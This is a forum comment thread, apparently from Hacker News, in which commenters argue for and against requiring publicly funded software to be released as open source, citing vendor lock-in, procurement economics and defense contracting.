Bulgaria's laws on the matter require you to provide a shim so that the software can be built without the functionality provided by the proprietary closed-source dependency.
I greatly appreciated the source code (probably FORTRAN) that I found in a university library in the late 80's. I seem to remember a book of microfiche with many basic algorithm's published on the basis that it was developed with US government with federal money and hence needed to published. So as an Australian I was very grateful for the implementation of Hungarian method (https://en.wikipedia.org/wiki/Hungarian_algorithm) that I used to write a Turbo-Pascal implementation for rostering problems.
Anyone remember the name of the book/folder and the publisher?
Actually had the source code still kicking around on my laptop and it had a comment {ACSM Algorithm 415} which I think means, Communications of the ACM, Volume 14, Issue 12, Dec. 1971 pp 805–806 https://doi.org/10.1145/362919.362948 , its Pascal-ish pseudo-code with jumps/labels. So maybe the ACM was being generous not the US government.
not enough: lean and simple, but able to do a good enough job, open source software/protocols, including SDKs (that exclude de-facto complex syntax languages with their compilers).
Off-course the reality of a complete and reasonable functional software stack is actually made of several technical contexts and drawing the complexity lines at the right sweet spots is hard: mistakes will be made, due to the permanent/long-term toxic brain-washing/lobbying of big tech, and they will be "not free" to fix.
Big tech wants to make you hard dependent on all their software and servers to create a permanent flow of money, which is much harder/impossible to do with centralized-server-less or local and independant software.
Boiling frog strategy: for that, they have huge funding (blackrock/vanguard/etc) in order to make their companies (microsoft/google/etc) super cheap/free for a very long time and to suffocate competition over time which has less cash flow (those funds have thousands of billions of $). They will create server centralized services, with crippled user-side open source software (not really usable without their servers). They call that "software as a service".
That said, some of them will manage to keep their "services" free selling user data to brokers and selling ads.
The control of user-side software is via open source grotesque and absurde complexity and size: google(blink(~webkit)/geeko) and apple(webkit) based browsers with their compilers. They know only their army of devs can maintain it, and they have enough control to do planned obsolescence there as a bonus.
Well, this is not very well explained, but I think it is enough to get the idea.
I am more interested in public government code being shared with other EU countries. EU funds a lot of government software projects , but they never end up becoming EU-wide projects. EU is all about enabling common standards across countries. And what better way to enforce them than by using common software across the EU states.
Kerckhoff-Shannon principle. Unless I can assume that my enemy has
total access to knowledge of my mechanisms, but is in no way
advantaged with respect to my operations, it is not an effective
weapon.
Freedom of information laws frequently have national security interest exceptions. A similar carve out can be made from the requirement of open sourcing public funded software.
Isn’t this quite hard to implement? How do you distinguish between Saas, software and custom services. Will this implicate that Microsoft office needs to be open source just because some government is buying that software?
You cannot actually buy Office, only license it from Microsoft.
Here the author seems to be talking about software that was originally written by the government. Or, one supposes, where development is chiefly funded by the government.
- Selling to public sector is a costly and lengthy process. Not to mention the lack of competence from the public sector partners.
- Usually, the money is made by making sure the entity will subscribe for as long as possible, and it should be possible to repackage the same software and sell to somebody else with little effort.
- Open sourcing puts the company into a position where it's own code could be reused by the competitor without investing as much.
- Furthermore, the projects are usually short lived due to the nature of procurement, budgeting and changing regulations.
- It is a risky business that requires complicated solutions to complicated problems, not much of it is reusable outside of the specific domain.
I was developing such software for years. Better ask yourself why huge IT departments are doing barely anything despite their funding.
Is this a case where 100% of a research effort is publicly funded or more like 10%? If it's closer to 10%, why would a company take the risk of putting up 90% of the capital when they can just wait for their competitor's IP to become public? Maybe the duration of a patent should depend on how much public funding was received.
I work in the public sector (US), and I have been advocating for something like this since I started my career.
The ERP we use for HR/Payroll, Accounts Payable/Receivable, Utility Billing, etc. costs an exorbitant amount of money each year, and the quality of both the software and the technical support we receive is comical. And this is new deployment, too. We upgraded from an IBM AS/400-based system a couple of years ago which I honestly long to go back to now and again out of frustration.
Let me give you just one an example of how we are held hostage to a private software vendor - collecting payment for utility bills. We are forced to use one credit card processor because it's the only "partner" that the ERP vendor has for payment processing. I guarantee you that you've never heard of them before. Their software is abysmal, and last time I checked, the ERP vendor gets a flat rate for each payment they collect (in addition to the standard credit card processing % + flat fee that goes to the merchant services company). There's no alternative. It's a Windows Service that has a tendency to crash several times a day without logging anything to Event Viewer. It's known to charge a credit card, but not return a success code to back the ERP, meaning the money was collected but their bill doesn't show as being paid. It's a problem I've documented clearly and created tickets on for over seven months at this point, and it's still not been resolved. Why? They have zero motivation. It's a beast to migrate to a new ERP (multiple years and $1M+), and they treat us as if we have no leverage in pushing for prompter support or better quality software. So luckily we are still on-premise with full access to the SQL database. I have written procedures to update the payment status manually each time this happens, post the transaction to the ERP, update reference numbers, and do a few other various things that should happen automatically when it works correctly. We were scolded for digging around ourselves and doing this, but if we open a support case, it takes 2-14 days to get a response back and that's simply not feasible when these payments need to post before EOB.
There's also no open API available. We have the in-house expertise to develop integrations and try to tie systems together in ways that make sense for our environment. Nope. Whatever few integrations that exists costs tens of thousands of dollars up-front, have very lackluster support, are infrequently updated, and are very rigid in their capabilities. I've asked how we can gain access to a sandbox environment or get documentation on an API so we can test and create the integrations that these sacred "partners" are able to -- radio silence. I've even reached out to individuals who work at the company on LinkedIn asking a similar question of how an independent developer can integrate with their ERP ecosystem -- left on read, no response.
Need a customization or change? Let's schedule a series of meetings and get it quoted out. $5,000 and two months later, we now have one new line of text displayed on our water bills about the drought. This is the level of control they maintain and use to line their pockets at our expense.
And now I've noticed that over the past year or so, there's been a very aggressive push to move to a SaaS environment. Meaning we'd lose direct access to SQL, lose access to logs and other tools I use to debug/diagnose, and be reliant on (read: held hostage by) the vendor even more. Good luck getting access to any of our raw data at that point. It's vendor lock-in to an extreme.
We (the agency, but more so the tax payers by extension) are victims. And we take it willingly without any pushback because there's no alternative. If anyone reading this is interested in helping fight against this or develop an open source alternative specific to government agencies, please reach out to me (email in profile here). I'm very passionate about this, having suffered so much aggravation over the years, and would love to work on bringing about some sort of solution.
Totally right. The same applies to publicly funded research (goodbye, Elsevier), and even to court filings (goodbye, Pacer).
As for postalrat's comment: there is a certain bureaucratic mindset that wants "their" stuff secret. Even when there's no possible justification. "You can't get in trouble for saying No" is their philosophy.
Example: on Nextdoor (home of the dumbest people on the web), I stopped getting my daily email digest. Since this happens to be my ideal way to get Nextdoo, I emailed Support, and their person insisted that they were going out, and I should contact my email provider (they were not going to Spam, if that's your guess).
I asked "how do you know? did you look in the Sent folder?" and he/she said "we're unable to share any information about our internal tools."
Ooh, it's a SECRET! I went through Twitter and found out they were running an experiment.
I mean as nice as this sounds, our money is spent on all sorts of things we know nothing about. Should we all be provided with the schematics for F-35s?
Any hypothetical obligation-to-make-code-public act could probably be guided by the thinking that went into the parameters of FOIA exemptions, since code is, after all, information.
The CIA, maybe not, but the NSA for sure. All the bulk surveillance and so on being done to Americans in america should be completely transparent to its citizens, so they can be clear that their rights are not being stepped on
Why do software developers always shoot themselves in the foot with regard to their economic value?
Governments pay all the time for development of technology that they buy, but that doesn't mean that the IP is released. For example, the government paid Boeing to develop transport aircraft. However, that does not mean that all the drawings/plans/etc for the aircraft are made public.
The government is buying a set of functionality with public money. As long as they are getting that functionality, it doesn't matter that the code is proprietary.
Some of us value other things (https://en.wikipedia.org/wiki/Open-source-software_movement#...) more than additional compensation. These ideas have roots in the original hacker culture that this site was named for - this stuff is the foundation of a lot of computer culture.
Increasingly I hear this expressed as "Technology In The Public
Interest", and is a movement I strongly affiliate with because it is
related to national security (as I have defined it elsewhere) [0] as
resilience and sustainability. See writing [1] and institutional
support [2][3] separate from notions of software freedom as
traditionally carried by Stallman et al/EFF/GNU/FSF.
What would be the expectation of source code ownership if you hired consultants or a team of developers to produce a piece of software for you? Do they keep it proprietary to themselves or should it belong to you?
The government paying for software to be developed is quite a bit different from a SaaS offering. If I pay some guy on Upwork to build something for me I expect the source code.
Of course the SaaS model is much better for developers to realize their worth, because you are essentially creating capital goods as a developer and being the owner of those goods is much more profitable than selling them.
>"However, that does not mean that all the drawings/plans/etc for the aircraft are made public."
The (US) government actually tried the approach of purchasing a few initial runs and the plans for some missiles, but the results were bad. Initial development costs were high, reliability was low, and manufacturability was poor.
Having private companies control the intellectual property of our defense systems is a disaster that leads to aggressive rent seeking by defense contractors.
Now, missile guidance software may not want to be open source, but the navy engineers down at China Lake should definitely have unrestricted ability to read, modify, and reproduce anything developed in their behalf.
I have long thought that missile and aircraft avionics should be made into more of a standardized, modular system (possibly open or government distributed source), for better upgradability and maintainability. I am sure this has been considered, and wonder why it hasn't been done.
IIRC they actually can demand copies of the drawings/plans for their own records and use so that they can dig them up if the B-52 needs to be extended another decade.
Governments are better at keeping ancient records around than most companies.
If I was the software developer forced into this I'd just raise my price knowing I can no longer sell it elsewhere, IF I even agreed to it. That's going to hurt tax payers. It's a catchy title but just doesn't take more than a moments thought to see how it's going to backfire.
What do you mean? If you are a software developer working for a state or city you expect to sell the software you develop for them and collect the money yourself?
If I develop software specific to the public sector and sell it to the government, it is "publicly financed software developed for the public sector".
What is my incentive to develop any software at all for public sector, since potential client no. 2 will just take the code that I released?
The ask does not state employed by... it just says:
“Implement legislation requiring that publicly financed software developed for the public sector be made publicly available under a Free and Open Source Software licence.”
I would be fine with
“Implement legislation requiring that publicly financed software developed by employees of public sector, for the public sector be made publicly available under a Free and Open Source Software licence.”
What would happen then is that the next public sector organization would want to pay someone to either fix bugs or to specialize the program to fit their needs better. And the more installations, the more this would happen. Maintenance is not free and the public sector would still have to pay the bill for it.
They would develop Office because they were paid to develop office.
Also, government custom developed software is really wonky and the odds that the IP is sold is very low. The greater odds are that maintenance and follow on contracts will only be possible for the company that first wrote the software.
I mostly want the code to public as a matter of transparency. I'd be fine if it was released under a fairly restrictive license which would prevent this kind of re-use.
This is already very common in the private sector. Most businesses that require custom software will insist (via contract terms) that they “own” the software.
There’s also licensed deals and subscription services etc. sure, but there’s a ton of custom proprietary software that consultants build (which often contain proprietary business logic).
Custom always costs more of course, but this isn’t a new model by any stretch of the imagination.
Go ahead, take your toys and go home. I don't care if the rent-seekers stop trying to waste my tax dollars - in fact contrary to your implication, this is a feature!
You can still sell the code, you just have to use something like the Red Hat subscription model after the first contract. This is how a substantial part of the tech market already operates. How does it 'backfire' here?
You are bidding for a contract that asks you to release the code, bid accordingly, if you have super secret code then don't bid at all or increase your bid. The hope is the public will get some open source code they can fix in future if there is a need and not have to beg you years later to please fix stuff or add a new feature.
As I private person I can offer a programming projects but demand access to the source code , you are free not to bid for my project but I think I am the sane one that wants the code so i am not locked into a corner.
Because "this customer" would presumably be the government. If you're a government contractor bidding on RFPs, not meeting the basic requirements is probably a bad way to stay in business. No one's forcing you to do it, though.
Although, where I live (in a well-off EU country dominated by socio-liberal politics) I've never heard of a governmental organisation developing their own code (outside of the defence department).
When there is a need for a system, there is a public procurement process wherein contractors submit bids, and the "best" bid wins. ("best" by some criteria, usually price)
It seems crazy to me that taxpayers pay for this software but it doesn't belong to them.
Knowing what I do know I gotta wonder if it's just about those developers being ashamed how bad their software is and don't want others to see it.